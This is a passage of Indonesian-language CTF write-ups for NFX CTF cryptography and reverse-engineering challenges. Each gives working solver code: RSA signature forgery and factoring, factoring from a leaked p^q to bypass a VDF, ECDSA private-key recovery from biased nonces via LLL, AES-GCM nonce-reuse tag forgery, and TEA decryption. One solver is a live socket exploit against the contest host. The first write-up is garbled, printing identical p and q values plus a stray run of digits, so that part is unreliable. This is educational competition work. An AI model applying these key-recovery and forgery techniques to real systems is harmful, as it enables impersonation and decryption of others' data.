leak      = 0x69252
leak_pos  = 500
leak_bits = 20
```

Gunakan identitas:

```
(q + p)^2 = (q - p)^2 + 4pq
          = delta^2 + 4N
```

Untuk setiap kandidat g:

```
delta = (1 << 300) + g
S = isqrt(delta*delta + 4*N)
if S*S == delta*delta + 4*N and ((S - delta) & 1) == 0:
    p = (S - delta) // 2
    q = (S + delta) // 2
```

Kandidat p diverifikasi dengan leak:

```
((p >> 500) & ((1 << 20) - 1)) == 0x69252
```

Hasil:

```
g     = 2104
delta = 2^300 + 2104
p     =
902916627138275654805100999800521699787570264729942576352015245249016230591761837840230292146248062374334173275274383887665281205284960549647936409664689595593138146033968659102549421400699442582878812957051259316448693565060939123109804306461499599994687508750076308311068064626791751719591785463669556261095
q     =
902916627138275654805100999800521699787570264729942576352015245249016230591761837840230292146248062374334173275274383887665281205284960549647936409664689595593138146033968659102549421400699442582878812957051259316448693565060939123109804306461499599994687508750076308311068064626791751719591785463669556261095
```

```
339686591025494214006994425828788129570512593164487139354207024679706669909183840537762980234340129676735744260312852955325894188307313902558 9
```

p dan q masing-masing 1024 bit.

Layer 3 — AES-GCM

output.txt menyimpan:

```
nonce_hex = 38ec324efe6bb0e8eb0e226a
ct_hex    = 13fd4a00ba2860d383b6f5ddfb5e650bfb0fcb9d8c7354e0a12635977e3a5453cdd26fd175a5630a3a78e1418b63a22e46b4759b2bbf73b855
tag_hex   = f58fff6b88f5734b34c2cd47638a2263
```

Key yang benar:

```
key_material = long_to_bytes(p) + long_to_bytes(q)
key = hashlib.sha256(key_material).digest()
```

Dekripsi:

```
from Crypto.Cipher import AES
pt = AES.new(key, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ct, tag)
```

Hasil:

```
NXCTF{mult1_l4y3r_l4tt1c3_r54_s1gn4tur3_hnp_8c211ad6b5a6}
```

Solver Lengkap

Inti solver (mengikuti crypto.py):

```
import json, itertools, hashlib
from Crypto.Util.number import inverse, long_to_bytes
from Crypto.Cipher import AES
from gmpy2 import isqrt

d = json.load(open("output.txt"))
N = int(d["N"], 16)
e = d["e"]
target = int(d["target_msg_hex"], 16)

sigs = [(int(x["msg"], 16), int(x["sig"], 16)) for x in d["valid_sigs"]]
msgs = [m for m, _ in sigs]
svals = [s for _, s in sigs]

# Layer 1
assign = None
for a in itertools.product([0, 1, 2], repeat=len(msgs)):
```

```
    pa = pb = 1
    for i, c in enumerate(a):
        if c == 1:
            pa *= msgs[i]
        elif c == 2:
            pb *= msgs[i]
    if pa == target * pb:
        assign = a
        break

sigT = 1
for i, c in enumerate(assign):
    if c == 1:
        sigT = sigT * svals[i] % N
    elif c == 2:
        sigT = sigT * inverse(svals[i], N) % N

assert pow(sigT, e, N) == target % N

# Layer 2
p = q = None
for g in range(1 << 20):
    delta = (1 << d["delta_bits"]) + g
    D = delta * delta + 4 * N
    S = isqrt(D)
    if S * S != D or ((S - delta) & 1):
        continue
    pp = (S - delta) // 2
    if pp <= 1 or N % pp:
        continue
    if ((pp >> d["leak_pos"]) & ((1 << d["leak_bits"]) - 1)) != int(d["leak"], 16):
        continue
    p, q = pp, N // pp
    break

# Layer 3
nonce = bytes.fromhex(d["flag_cipher"]["nonce_hex"])
ct = bytes.fromhex(d["flag_cipher"]["ct_hex"])
tag = bytes.fromhex(d["flag_cipher"]["tag_hex"])
key = hashlib.sha256(long_to_bytes(p) + long_to_bytes(q)).digest()
flag = AES.new(key, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ct, tag)

print("[Layer1] assign =", assign)
print("[Layer2] g =", g)
print("[Layer3] FLAG =", flag.decode())
```

Output:

```
[Layer1] assign = (1, 1, 1, 0, 0, 0)
[Layer2] g = 2104
[Layer3] FLAG = NXCTF{mult1_l4y3r_l4tt1c3_r54_s1gn4tur3_hnp_8c211ad6b5a6}
```

Flag

```
NXCTF{mult1_l4y3r_l4tt1c3_r54_s1gn4tur3_hnp_8c211ad6b5a6}
```

Pelajaran

- **RSA tanpa padding/hash tidak aman untuk signature.** Sifat multiplikatif memungkinkan forjeri dari signature valid yang sudah diketahui.
- **Jangan membocorkan bit faktor prima.** Leak 20 bit + hubungan q ≈ p + 2^300 cukup untuk faktorisasi.
- **Key derivation harus menggunakan KDF yang tepat**, bukan sekadar SHA256(p || q); dan parameter rahasia (p/q) tidak boleh dipakai langsung sebagai bahan key tanpa protokol KEM yang benar.
- Gunakan skema signature modern (RSA-PSS, ECDSA, Ed25519) dan protokol KEM yang tervalidasi.

Unbreakable Delay — Cryptography (Medium)

- **Challenge:** Unbreakable Delay
- **Category:** Cryptography
- **Difficulty:** Medium
- **Instance:** nc s1.nfx.my.id 46491
- **Vektor:** VDF (Verifiable Delay Function) + Fiat–Shamir proof, di-bypass dengan memfaktorkan modulus dari kebocoran p ^ q
- **Flag:** NFX{x0r_f4ct0r1ng_4nd_f4st_vdf_byp4ss_m4k3s_1t_h4rd}

1. Deskripsi

> implementasi Fiat-Shamir pada VDF (Verifiable Delay Function) telah diperbaiki! Sekarang kamu WAJIB memberikan bukti (π) yang valid untuk operasi eksponensial 2^256. Sayangnya, komputasi ini secara normal membutuhkan waktu triliunan tahun. Sanggupkah kamu mem-bypass penundaan ini?

Format flag: NFX{your_flag_here}

2. Recon service

```
nc s1.nfx.my.id 46491

Generating parameters, please wait...
modulus is 188747286786339...3569515
hint (p ^ q) is 313412222341861...203254
in Z_n, g^(2^(2^256)) == 118252299372586...2954
my challenge is 912124427
Give me the proof (pi):
```

Parameter yang diberikan:

Nilai	**Arti**
n	modulus RSA 2048-bit
p ^ q	XOR bitwise dari dua faktor prima n
g^(2^(2^256)) == Y	statement VDF: hasil repeated squaring 2^256 kali
L	challenge Fiat–Shamir (bilangan ~30-bit)
input	proof π yang harus dikirim

VDF normalnya: mulai dari g, lakukan squaring T = 2^256 kali, sehingga Y = g^(2^(2^256)) mod n. Tanpa mengetahui faktorisasi n, ini benar-benar butuh waktu luar biasa lama.

3. Ide serangan

Protokol meminta **Wesolowski proof**:

```
π = g^( floor(E / L) ) mod n,   dengan E = 2^(2^256)
verifier: π^L · g^(E mod L) ≡ Y (mod n)
```

Jika n = p·q diketahui faktorisasinya, maka φ(n) = (p-1)(q-1) diketahui, dan eksponen raksasa bisa direduksi modulo φ(n). Delay VDF hilang total.

Masalahnya: n 2048-bit tidak bisa difaktorkan biasa. Tetapi service membocorkan **p ^ q**. Dengan n = p·q dan x = p ^ q, pasangan (p,q) bisa direcover dengan DFS bit-per-bit dari LSB.

4. Faktorisasi dari p ^ q

4.1 Recurrence

Untuk bit ke-k:

- p_k ^ q_k = x_k → jika x_k = 0 maka p_k = q_k (0,0 atau 1,1); jika x_k = 1 maka (p_k,q_k) = (1,0) atau (0,1).
- Bit ke-k dari p·q harus sama dengan bit ke-k dari n.

Carry dari perkalian prefix bisa dihitung dari perkalian bilangan prefix P, Q:

```
C = (P * Q) >> k
(P*Q* bit k) = (C + p_k + q_k) & 1
```

Ini jauh lebih cepat daripada loop konvolusi O(k) per node.

4.2 Solver

```
import sys
sys.setrecursionlimit(10000)

def factor_xor(n, x, bits):
    sols = []
    def dfs(k, P, Q):
        if k == bits:
            if P * Q == n and P > 1 and Q > 1:
                sols.append((P, Q))
            return
        C = (P * Q) >> k
        nk = (n >> k) & 1
        if ((x >> k) & 1) == 0:
            for b in (0, 1):
                if ((C + 2 * b) & 1) == nk:
                    dfs(k + 1, P | (b << k), Q | (b << k))
        else:
            if ((C + 1) & 1) == nk:
```

```
            dfs(k + 1, P | (1 << k), Q)
            dfs(k + 1, P, Q | (1 << k))
    dfs(1, 1, 1)   # p0 = q0 = 1 (keduanya ganjil)
    return sols
```

Catatan:

- bits = (n.bit_length()+1)//2 (1024 pada kasus ini).
- Solusi yang ditemukan ada dua, yaitu (p,q) dan (q,p) (simetri).
- Pada instance live, faktorisasi selesai dalam **~18 detik** (≈2 juta node). Pada sample lain ~2–8 detik.

5. Base g dan eksponen

Service tidak mencetak g secara eksplisit (hanya g^(...)). Kita bisa mencocokkan kandidat g dan interpretasi eksponen dengan Y:

```
phi = (p - 1) * (q - 1)

for g in [3, 2, 5, 7, 11, 13, ...]:
    # E = 2^(2^256)
    if pow(g, pow(2, 2**256, phi), n) == Y:
        print("match g =", g, "E = 2^(2^256)")
```

Hasil: **g = 3**, E = 2^(2^256).

6. Hitung proof Wesolowski

Karena E = 2^(2^256) tidak bisa dibuat sebagai integer, kita hitung E mod (L·φ) lalu bagi dengan L:

```
R = pow(2, 2**256, L * phi)   # E mod (L*phi)
Q = R // L
pi = pow(g, Q, n)
```

Verifikasi lokal sebelum dikirim:

```
EmodL = pow(2, 2**256, L)
assert (pow(pi, L, n) * pow(g, EmodL, n)) % n == Y
```

7. Exploit live

```
import socket, re, sys, time
sys.setrecursionlimit(10000)

HOST, PORT = 's1.nfx.my.id', 46491

def recv_until(s, marker, timeout=180):
    s.settimeout(timeout); data = b''
```

```
    while marker not in data:
        try: c = s.recv(4096)
        except socket.timeout: break
        if not c: break
        data += c
    return data

# 1) connect & baca parameter
s = socket.create_connection((HOST, PORT), timeout=15)
text = recv_until(s, b'Give me the proof').decode()
n = int(re.search(r'modulus is (\d+)', text).group(1))
x = int(re.search(r'hint \(p \^ q\) is (\d+)', text).group(1))
Y = int(re.search(r'== (\d+)', text).group(1))
L = int(re.search(r'my challenge is (\d+)', text).group(1))

# 2) factor n dari p^q
bits = (n.bit_length() + 1) // 2
p, q = factor_xor(n, x, bits)[0]
phi = (p - 1) * (q - 1)
assert p * q == n and (p ^ q) == x

# 3) base g = 3, E = 2^(2^256)
g = 3
R = pow(2, 2**256, L * phi)
pi = pow(g, R // L, n)

# 4) verifikasi lokal & kirim
assert (pow(pi, L, n) * pow(g, pow(2, 2**256, L), n)) % n == Y
s.sendall((str(pi) + '\n').encode())
s.settimeout(5)
out = b''
try:
    while True:
        c = s.recv(4096)
        if not c: break
        out += c
except socket.timeout:
    pass
print(out.decode('utf-8', 'replace'))
```

Output:

```
proof success! here's your flag:
NFX{x0r_f4ct0r1ng_4nd_f4st_vdf_byp4ss_m4k3s_1t_h4rd}
```

8. Flag

```
NFX{x0r_f4ct0r1ng_4nd_f4st_vdf_byp4ss_m4k3s_1t_h4rd}
```

9. Root Cause

1. **Kebocoran p ^ q** pada modulus RSA. XOR dari dua faktor bersama n = p·q sudah cukup untuk merecover p,q dengan DFS bitwise.
2. **VDF dengan modulus berfaktorisasi diketahui**. VDF berbasis RSA group mengandalkan ketidakmampuan memfaktorkan n; begitu φ(n) diketahui, eksponen 2^(2^256) bisa direduksi modulo φ(n) dan delay hilang.
3. **Fiat–Shamir proof tidak melindungi** dari prover yang mengetahui trapdoor faktorisasi. Proof π = g^(floor(E/L)) memang valid, tetapi bisa dihitung cepat.
4. Base g juga tidak dirahasiakan/terikat dengan baik; cukup dicocokkan dari statement.

10. Referensi

- Wesolowski, *Efficient Verifiable Delay Functions* (EUROCRYPT 2019)
- Boneh, Bünz, Fisch, *A Survey of Two Verifiable Delay Functions*
- Fiat, Shamir, *How to Prove Yourself* (1986)
- Teknik faktorisasi dari p ^ q: DFS bitwise dengan carry perkalian prefix

ECDSA Nonce Bias — Cryptography (Hard)

- **Challenge:** ECDSA Nonce Bias
- **Event:** NFX CTF
- **Category:** Cryptography
- **Files:** challenge.py, solve.py, output.txt, pubkey.txt (di ~/Downloads/ECDSA-Nonce-Bias/)
- **Flag:** NXCTF{ecds4_hnp_n0nc3_b14s_8b1t_l4tt1c3_a3d2ae498097}

Ringkasan

ECDSA pada curve **secp256k1** dengan **200 signature**. Setiap nonce k dibatasi:

```
k < 2^248
```

Artinya 8 bit teratas nonce selalu nol. Ini adalah **partial nonce leakage / Hidden Number Problem (HNP)**: cukup banyak signature dengan nonce kecil untuk merekonstruksi private key d lewat lattice (LLL/BKZ).

Data

- Curve: secp256k1
- Orde n:

```
0xfffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
```

- 200 signature, masing-masing berisi r, s, h (hash pesan), dan top8_k = 0, K_BITS = 248.
- Flag dienkripsi AES-GCM dengan key SHA256(d.to_bytes(32, "big")).

ECDSA dan HNP

Persamaan ECDSA:

```
s = k^(-1) * (h + r*d)  (mod n)
```

Sehingga:

```
k = s^(-1) * (h + r*d)  (mod n)
```

Definisikan:

```
a_i = r_i * s_i^(-1) mod n
b_i = h_i * s_i^(-1) mod n
```

Maka:

```
k_i ≡ a_i*d + b_i  (mod n)
```

Karena 0 <= k_i < B = 2^248, setiap signature memberi persamaan HNP dengan error/nonce kecil. Kumpulan 200 persamaan ini disusun menjadi lattice dan direduksi dengan LLL untuk menemukan d.

Lattice HNP

Dengan m = 200 signature:

```
B = 1 << 248
n2 = n * n

# dimensi m + 2
M[i, i] = n2                # i = 0..m-1
M[m, i] = n * a[i]            # baris untuk d
M[m+1, i] = n * b[i]          # baris untuk b_i
M[m, m] = B
M[m+1, m+1] = n * B
```

Setelah LLL.reduction(M), cari baris yang:

- koordinat terakhirnya habis dibagi n*B,
- koordinat kedua terakhir menghasilkan kandidat d,
- semua k_i hasil verifikasi < B.

Jika LLL belum berhasil, BKZ dengan block size 20–40 dapat digunakan. Pada challenge ini **LLL saja sudah cukup**.

Solver

```
import json
import hashlib
from fpylll import IntegerMatrix, LLL
from Crypto.Cipher import AES

d = json.load(open("output.txt"))
n = int(d["n"], 16)
sigs = d["signatures"]
B = 1 << 248
m = len(sigs)

a, b = [], []
for sig in sigs:
    r = int(sig["r"], 16)
    s = int(sig["s"], 16)
    h = int(sig["h"], 16)
    s_inv = pow(s, -1, n)
    a.append((r * s_inv) % n)
    b.append((h * s_inv) % n)
```

```
dim = m + 2
M = IntegerMatrix(dim, dim)
n2 = n * n

for i in range(m):
    M[i, i] = n2
for i in range(m):
    M[m, i] = n * a[i]
    M[m + 1, i] = n * b[i]
M[m, m] = B
M[m + 1, m + 1] = n * B

LLL.reduction(M)
# Jika perlu:
# BKZ.reduction(M, BKZ.Param(block_size=20))

nB = n * B
d_priv = None

for row_idx in range(dim):
    row = [M[row_idx, j] for j in range(dim)]
    if row[-1] == 0 or row[-1] % nB != 0:
        continue
    sign = row[-1] // nB
    if sign == 0:
        continue
    num = row[-2]
    den = sign * B
    if num % den != 0:
        continue
    cand = (num // den) % n

    ok = True
    for sig in sigs:
        r = int(sig["r"], 16)
        s = int(sig["s"], 16)
        h = int(sig["h"], 16)
        s_inv = pow(s, -1, n)
        k = (s_inv * (h + r * cand)) % n
        if k >= B:
            ok = False
            break
    if ok:
        d_priv = cand
        break

assert d_priv is not None
print("[+] private key d =", hex(d_priv))
```

```
fc = d["flag_ciphertext"]
nonce = bytes.fromhex(fc["nonce_hex"])
ct = bytes.fromhex(fc["ct_hex"])
tag = bytes.fromhex(fc["tag_hex"])

key = hashlib.sha256(d_priv.to_bytes(32, "big")).digest()
pt = AES.new(key, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ct, tag)
print("[+] FLAG =", pt.decode())
```

Hasil

```
[+] private key d = 0xe59b58bbc7a872a170ef684d62f92bbbe511f3bd5d9ec50814435c3666e1fffa
[+] FLAG = NXCTF{ecds4_hnp_n0nc3_b14s_8b1t_l4tt1c3_a3d2ae498097}
```

d yang didapat:

```
0xe59b58bbc7a872a170ef684d62f92bbbe511f3bd5d9ec50814435c3666e1fffa
```

Key AES-GCM:

```
key = SHA256(d.to_bytes(32, "big")).digest()
```

Flag

```
NXCTF{ecds4_hnp_n0nc3_b14s_8b1t_l4tt1c3_a3d2ae498097}
```

Pelajaran

- **Nonce ECDSA harus unpredictable dan full-size.** Bias 8 bit pada 200 signature sudah cukup untuk recovery private key via HNP.
- Gunakan **RFC 6979** (deterministic nonce) atau RNG kriptografis yang benar; jangan pernah memotong/membatasi nonce.
- HNP dapat diselesaikan dengan lattice: kumpulkan cukup banyak signature dengan nonce kecil, susun basis, lalu LLL/BKZ.
- Jangan memakai private key langsung sebagai bahan key tanpa KDF/protokol yang tepat; di sini SHA256(d) menjadi kunci AES-GCM.

Black Box Protocol N4T0 — Cryptography (Medium)

Platform: nfx.my.id
Kategori: Crypto / Encoding
Level: Medium
Flag: NFX{N4T0_PH0N3T1C_1N1_C0mbO_H3X_fl0At_b4r4ng}

Deskripsi

> Sebuah jet tempur Sukhoi Su-30 terjatuh menyimpan pesan yang masih terselamatkan, kejadian ini terjadi di perbatasan negara aliansi nato.

Info dari panitia: flag placeholder sudah diupdate, format NFX{World_World_World_.....}.

File yang diberikan: flight_recovery_manifest.xlsx (sheet Mail_Black_Box).

Isi file

Sheet-nya berisi tiga kolom:

Kolom	**Isi**
Kode Pesawat	15 kata alfabet fonetik NATO (November, Four, Tango, Zero, Papa, ...)
kusi Pesawat	10 nilai: campuran angka (43, 30, 62, 48, 33, 58) dan string (6d, 4f, 5f)
Jumlah Barang pesawat	3 angka sangat besar dalam format sains: 2.78842154354096E23, 7.07930905431442E31, 3.57380928075183E30

Selebihnya sel berisi null. Saya cek juga isi XML-nya (sheet, sharedStrings, styles, drawing, persons) dan tidak ada data tersembunyi. Semua informasi ada di tiga kolom itu.

Hint dari judul dan nama kolom: kolom A = **kode**, kolom B = **kunci** (typo "kusi"), kolom C = **barang**. Setiap kolom ternyata punya encoding sendiri, dan hasilnya disambung jadi satu flag.

Kolom A: NATO phonetic alphabet

Ambil huruf pertama setiap kata. Kata angka (Zero, One, Three, Four) dibaca sebagai digitnya, bukan huruf awalnya:

```
November Four Tango Zero Papa Hotel Zero November Three Tango One Charlie One November One
  N      4    T     0    P    H     0    N       3     T    1    C       1   N       1
```

Hasil: N4T0PH0N3T1C1N1, dibaca leetspeak "NATO PHONETIC INI" (N4T0 PH0N3T1C 1N1).

Kesalahan yang mudah terjadi di sini: mengambil huruf awal "Zero" sebagai Z dan "One" sebagai O, sehingga hasilnya NFTZPHZNTTOCONO dan tidak bermakna.

Kolom B: hex ASCII

Sel di kolom B sebagian tersimpan sebagai angka dan sebagian sebagai string, tapi semuanya sebenarnya adalah pasangan digit hex. Sambungkan berurutan dari baris 2 sampai 11:

```
43 30 6d 62 4f 5f 48 33 58 5f

bytes.fromhex("43306d624f5f4833585f")
# b'C0mbO_H3X_'
```

Hasil: C0mbO_H3X_ ("combo hex"). Perhatikan underscore di akhir (5f), sebagai penyambung ke bagian berikutnya.

Kolom C: float32 yang disalahbaca sebagai angka

Bagian ini yang paling jebakan. Angka-angka di kolom C sebenarnya adalah **float 32-bit** yang byte-nya ASCII, lalu ditampilkan Sheets sebagai angka sains.

Percobaan yang gagal (saya catat supaya tidak diulang):

- konversi basis 2 sampai 36 (tidak ada teks yang terbaca)
- hubungan dengan kombinasi/permutasi, faktorial, pangkat, Fibonacci, Catalan, Bell, primorial
- konversi integer ke byte (tidak printable)
- interpretasi sebagai double

Petunjuknya ada di judul kolom: "Jumlah *Barang*" yang nanti terbaca b4r4ng, dan sel berformat sains, yaitu cara float ditampilkan. Pack nilainya sebagai float32 big-endian:

```
import struct
for v in [2.78842154354096e23, 7.07930905431442e31, 3.57380928075183e30]:
    print(struct.pack('>f', v))
```

Output:

```
b'fl0A'
b't_b4'
b'r4ng'
```

Sambung: fl0At_b4r4ng ("float barang"). Format >d (double) atau <f (little-endian) menghasilkan byte yang tidak bermakna atau urutan terbalik (A0lf), jadi big-endian float32 yang benar.

Menyusun flag

```
Kolom A : N4T0PH0N3T1C1N1
Kolom B : C0mbO_H3X_
Kolom C : fl0At_b4r4ng
```

Kalau disambung mentah: N4T0PH0N3T1C1N1C0mbO_H3X_fl0At_b4r4ng.

Dibaca leetspeak: **"NATO PHONETIC INI COMBO HEX FLOAT BARANG"**. Ini sesuai format World_World_World_... dari panitia, jadi kata-kata di bagian A dipisah underscore (alfabet NATO tidak punya kata untuk _, jadi underscore di bagian A tidak ada di data):

```
NFX{N4T0_PH0N3T1C_1N1_C0mbO_H3X_fl0At_b4r4ng}
```

Kalau platform menolak versi di atas, versi sambung mentah tanpa underscore di bagian A adalah NFX{N4T0PH0N3T1C1N1C0mbO_H3X_fl0At_b4r4ng}.

Solver

```
import struct

# Kolom A: huruf pertama kata NATO, kata angka jadi digit
nato = ["November","Four","Tango","Zero","Papa","Hotel","Zero","November",
        "Three","Tango","One","Charlie","One","November","One"]
digit = {"Zero":"0","One":"1","Two":"2","Three":"3","Four":"4","Five":"5",
         "Six":"6","Seven":"7","Eight":"8","Nine":"9"}
a = "".join(digit.get(w, w[0]) for w in nato)

# Kolom B: hex ASCII
b = bytes.fromhex("43306d624f5f4833585f").decode()

# Kolom C: float32 big-endian -> 4 byte ASCII
vals = [2.78842154354096e23, 7.07930905431442e31, 3.57380928075183e30]
c = "".join(struct.pack(">f", v).decode() for v in vals)

print(a, b, c)
# N4T0PH0N3T1C1N1 C0mbO_H3X_ fl0At_b4r4ng
```

Catatan

- Tiga kolom = tiga encoding berbeda (NATO, hex, float32), dan judul kolom memberi petunjuk tiap lapis ("kode", "kunci", "barang").
- Jebakan terbesar ada di kolom C: angka sains yang tampak seperti bilangan besar biasa. Kalau ada "angka acak yang kelihatan tidak berpola", coba reinterpretasi byte-nya (float32/float64, big/little endian).
- Karena Excel/Sheets hanya menyimpan 15 digit signifikan, jalan "konversi integer besar ke teks" tidak mungkin berhasil di sini. Itu bukti bahwa nilai-nilainya bukan integer besar, melainkan float yang kebetulan cocok dengan ASCII saat di-pack.

FlagKeepers — Cryptography (Hard)

- **Challenge:** FlagKeepers (VaultGate / NarrowGate)
- **Event:** NFX CTF
- **Category:** Cryptography
- **Instance:** nc s1.nfx.my.id 44910
- **Files:** app.py, solve.py, solve.sage, NarrowGate.zip (di ~/Downloads/flag-keepers/)
- **Flag:** NFX{gcm_f0rb1dd3n_4tt4ck_du4l_t4g_c0ll1s10n_m4st3r}

Ringkasan

Aplikasi memakai **AES-GCM dengan nonce yang sama untuk semua pesan** (fixed nonce per proses), dan ada dua key:

- key_a untuk **Audit log** + menu **Sign**.
- key_b untuk **Recovery log** + menu **Flag**.

Karena nonce tidak pernah berubah, GCM mengalami **nonce reuse / forbidden attack**:

1. Keystream sama untuk semua pesan dengan key yang sama.
2. Tag mask E_K(J0) sama.
3. GHASH key H dapat dipulihkan dari beberapa pasangan ciphertext/tag.
4. Setelah H dan S = E_K(J0) diketahui, tag untuk ciphertext arbitrer dapat diforgery.

Tujuannya: forge pesan admin = False untuk key_a (lolos menu 3), lalu forge pesan admin = True untuk key_b (lolos menu 4) dan mendapatkan flag.

Source Aplikasi

app.py (ringkas):

```
nonce = urandom(12)          # fixed once per process

def encrypt(key, pt):
    ct, tag = AES.new(key, AES.MODE_GCM, nonce=nonce).encrypt_and_digest(pt)
    return ct, tag

def decrypt(key, ct, tag):
    return AES.new(key, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ct, tag)
```

Menu:

- 1 Audit log (key_a), idx += 16
- 2 Recovery log (key_b), idx -= 16

- 3 Sign (key_a): ciphertext/tag harus valid, admin = True tidak boleh ada, dan admin = False harus ada di msg[idx:idx+16].
- 4 Flag (key_b): plaintext harus punya admin = True di msg[:idx] dan tidak boleh mengandung admin = False.
- 5 Exit

Karena nonce sama, memilih menu 1/2 beberapa kali memberikan banyak ciphertext/tag dengan keystream/tag-mask yang sama.

Matematika GCM

Untuk AAD kosong:

```
T = S ⊕GHASH_H(C)
S = E_K(J0)
```

Dengan nonce sama:

- S sama untuk semua pesan.
- Keystream KS sama untuk semua pesan.

Untuk dua ciphertext C1, C2:

```
T1 ⊕T2 = GHASH_H(C1) ⊕GHASH_H(C2)
```

Ruas kiri diketahui; ruas kanan adalah polinomial dalam H dengan koefisien dari blok ciphertext. Dengan beberapa sampel, H dapat diselesaikan lewat aljabar linear atas GF(2^128); solver memverifikasi H dengan semua tag sampel.

Setelah H didapat:

```
S = T ⊕GHASH_H(C)
```

dan dari satu pasangan plaintext/ciphertext yang diketahui:

```
KS = P ⊕C
```

Maka untuk plaintext apa pun:

```
C_forge = P_forge ⊕KS
T_forge = S ⊕GHASH_H(C_forge)
```

Langkah Eksploitasi

1. Kumpulkan sampel

Solver mengambil 4 audit log (key_a) dan 4 recovery log (key_b). Semua memakai nonce yang sama:

```
Ha = 43567a2ec826d5486b5d657107dd0e4a
Hb = d8ab66a43db010652ed528a744ee3ee1
```

2. Recover H

Untuk masing-masing key, recover_H(samples, n_blocks):

- Menentukan blok ciphertext yang berubah antar sampel.
- Menyusun sistem linear atas GF(2^128) dari selisih tag.
- Menyelesaikan H dan memverifikasi seluruh tag.

Implementasi solve.py memakai representasi field GCM bit-reversed:

```
R = 0xe1000000000000000000000000000000
IDENTITY = 0x80000000000000000000000000000000

def gf_mul(x, y):
    z = 0
    v = y & MASK
    for i in range(128):
        if (x >> (127 - i)) & 1:
            z ^= v
        if v & 1:
            v = (v >> 1) ^ R
        else:
            v >>= 1
    return z & MASK

def ghash(H, ct, aad=b""):
    y = 0
    for i in range(0, len(aad), 16):
        y = gf_mul(y ^ int.from_bytes(aad[i:i+16].ljust(16, b"\x00"), "big"), H)
    for i in range(0, len(ct), 16):
        y = gf_mul(y ^ int.from_bytes(ct[i:i+16].ljust(16, b"\x00"), "big"), H)
    L = ((len(aad) * 8) << 64) | (len(ct) * 8)
    return gf_mul(y ^ L, H)
```

3. Ambil S dan keystream

```
Sa = int.from_bytes(aud[0].tag, "big") ^ ghash(Ha, aud[0].ct)
Sb = int.from_bytes(rec[0].tag, "big") ^ ghash(Hb, rec[0].ct)

KSa = xor(aud[0].ct, aud[0].pt)
KSb = xor(rec[0].ct, rec[0].pt)
```

4. Forge menu 3 (key_a)

idx dimulai 0. Solver menyeimbangkan 4 audit (+64) dan 4 recovery (-64) sehingga idx = 0.

Plaintext:

```
Pa = b"admin = False" + b"XYZ" + b"A" * 32
# msg[0:16] = "admin = FalseXYZ" -> syarat [idx:idx+16] terpenuhi
Ca = xor(Pa, KSa[:len(Pa)])
Ta = (Sa ^ ghash(Ha, Ca)).to_bytes(16, "big")
```

Kirim menu 3 dengan Ca/Ta → OK.

5. Forge menu 4 (key_b)

Naikkan idx menjadi 16 dengan satu audit log (menu 1). Plaintext:

```
Pb = b"admin = True" + b"XXXX" + b"Y" * 35
# msg[0:16] = "admin = TrueXXXX" -> "admin = True" ada di msg[:idx]
Cb = xor(Pb, KSb[:len(Pb)])
Tb = (Sb ^ ghash(Hb, Cb)).to_bytes(16, "big")
```

Kirim menu 4 dengan Cb/Tb.

Hasil

```
[*] Ha = 43567a2ec826d5486b5d657107dd0e4a
[*] Hb = d8ab66a43db010652ed528a744ee3ee1
[*] resp3: OK
[*] resp4: NFX{gcm_f0rb1dd3n_4tt4ck_du4l_t4g_c0ll1s10n_m4st3r}
[+] FLAG = NFX{gcm_f0rb1dd3n_4tt4ck_du4l_t4g_c0ll1s10n_m4st3r}
```

Flag

```
NFX{gcm_f0rb1dd3n_4tt4ck_du4l_t4g_c0ll1s10n_m4st3r}
```

Pelajaran

- **Jangan pakai nonce yang sama untuk AES-GCM.** Nonce reuse menghancurkan kerahasiaan (keystream reuse) dan integritas (GHASH key recovery → tag forgery).
- Nonce harus unik per enkripsi; gunakan random 96-bit atau counter yang tidak berulang.
- GCM bukan pengganti protokol yang aman: validasi otorisasi tidak boleh bergantung pada plaintext yang bisa diforgery.
- Untuk skema multi-key, pastikan setiap key memiliki nonce/keystream independen dan jangan berbagi state enkripsi secara global.

TEA Medium Reverse (Medium)

- **Challenge:** medium_tea
- **Category:** Reverse
- **Artifact:** `Cryptography/medium_tea` (ELF64 PIE, stripped, 14.472 byte)
- **Flag:** `NFX{t1ny_3ncrypt10n_4lg0r1thm_32_r0und5}`

Deskripsi

Validator memakai **TEA 32 ronde** dengan kunci 128-bit yang tertanam sebagai immediate di kode. Flag di-zero-pad ke kelipatan 8 byte, setiap blok 64-bit dienkripsi (TEA) lalu dibandingkan dengan ciphertext di `.rodata`.

Analisis statis

```
file medium_tea     # ELF 64-bit LSB pie executable, stripped
strings -n 4 medium_tea
objdump -s -j .rodata medium_tea
objdump -d -M intel medium_tea
```

Cek `strlen(argv[1]) == 0x28` (40 byte). Ciphertext di `.rodata` offset `0x2040` (40 byte / 5 blok):

```
d08b910e 9e3d818e  eadab483 cfc8fd8a
083b4483 6a130476  724d7205 905af697
db1395e7 c74c5385
```

Loop TEA (offset `0x1168`) memakai `delta = 0x9e3779b9` (`sum -= 0x61c88647` tiap ronde, berhenti di `0xc6ef3720`). Kunci 128-bit **tidak** dibaca dari array, melainkan sebagai konstanta yang meniru `+k0/+k1/+k2/+k3`:

```
v0 += ((v1<<4) + 0x1337beef) ^ (v1 + sum) ^ ((v1>>5) - 0x35014542)
v1 += ((v0<<4) - 0x21523f22) ^ (v0 + sum) ^ ((v0>>5) + 0x0badf00d)
```

Dengan `-x = 2^32 - x`:

Key word	Nilai
k0	`0x1337beef`
k1	`-0x35014542 = 0xcafebabe`
k2	`-0x21523f22 = 0xdeadc0de`
k3	`0x0badf00d`

Blok diproses sebagai dua word 32-bit little-endian (`v0` = 4 byte pertama, `v1` = 4 byte berikut).

Eksploitasi

```
import struct
k0,k1,k2,k3 = 0x1337beef, 0xcafebabe, 0xdeadc0de, 0x0badf00d
delta = 0x9e3779b9; M = 0xffffffff

def dec(v0, v1):
    s = (delta*32) & M
    for _ in range(32):
        v1 = (v1 - ((((v0<<4)&M)+k2)&M ^ ((v0+s)&M) ^ (((v0>>5)+k3)&M))) & M
        v0 = (v0 - ((((v1<<4)&M)+k0)&M ^ ((v1+s)&M) ^ (((v1>>5)+k1)&M))) & M
        s = (s - delta) & M
    return v0, v1

ct =
bytes.fromhex("d08b910e9e3d818eeadab483cfc8fd8a083b44836a130476724d7205905af697db13
95e7c74c5385")
out = b"".join(struct.pack("<II", *dec(*struct.unpack("<II", ct[i:i+8]))) for i in
range(0, len(ct), 8))
